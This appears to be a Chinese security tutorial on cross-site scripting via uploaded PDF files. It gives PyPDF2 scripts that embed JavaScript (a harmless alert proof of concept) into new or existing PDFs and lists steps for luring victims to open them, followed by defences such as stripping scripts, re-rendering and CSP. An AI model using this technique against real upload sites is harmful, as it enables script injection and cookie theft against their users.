xss pdf制作
字数 727 2025-08-24 16:48:15
PDF上传导致的XSS漏洞分析与利用
漏洞原理
PDF上传导致的XSS漏洞是指当网站允许用户上传PDF文件时,攻击者可以上传包含恶意JavaScript代码的PDF文件。当其他用户查看这个PDF文件时,嵌入的JavaScript代码会被执行,从而实现跨站脚本攻击。
漏洞利用条件
- 网站允许用户上传PDF文件
- 上传的PDF文件能够被其他用户访问
- PDF查看器支持并执行JavaScript代码(大多数现代PDF阅读器都支持)
恶意PDF制作方法
方法一:使用Adobe Acrobat DC
- 打开Adobe Acrobat DC
- 创建或打开一个PDF文件
- 添加JavaScript代码
- 保存PDF文件
方法二:使用Python和PyPDF2库
2.1 创建新的恶意PDF
from PyPDF2 import PdfReader, PdfWriter
# 创建一个新的PDF文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加JS代码
output_pdf.add_js("app.alert('xss');")
# 将新页面写入到新PDF文档中
with open("xss.pdf", "wb") as f:
output_pdf.write(f)
2.2 向现有PDF添加恶意代码
from PyPDF2 import PdfReader, PdfWriter
# 打开原始PDF文件
input_pdf = PdfReader("x.pdf")
# 创建一个新的PDF文档
output_pdf = PdfWriter()
# 将现有的PDF页面复制到新文档
for i in range(len(input_pdf.pages)):
output_pdf.add_page(input_pdf.pages[i])
# 添加JavaScript代码
output_pdf.add_js("app.alert('xss');")
# 将新PDF文档写入到文件中
with open("xss.pdf", "wb") as f:
output_pdf.write(f)
漏洞利用示例
- 攻击者制作包含恶意JavaScript代码的PDF文件
- 将PDF文件上传到目标网站
- 获取上传后的PDF访问URL
- 诱使受害者访问该PDF文件
- PDF中的JavaScript代码在受害者环境中执行
防御措施
- 对上传的PDF文件进行内容检查,过滤或禁止包含JavaScript代码的PDF
- 使用PDF解析库提取文本内容重新生成PDF,去除所有脚本
- 在服务端渲染PDF为图片后再提供给用户
- 设置Content-Security-Policy头限制PDF中的脚本执行
- 在Web应用中禁用PDF的内联展示,强制下载后查看
注意事项
- 不同PDF阅读器对JavaScript的支持程度不同,测试时需考虑目标环境
- 实际攻击中,JavaScript代码可以更复杂,如窃取cookie、发起请求等
- 该漏洞利用需要用户交互(打开PDF),但仍具有较高危害性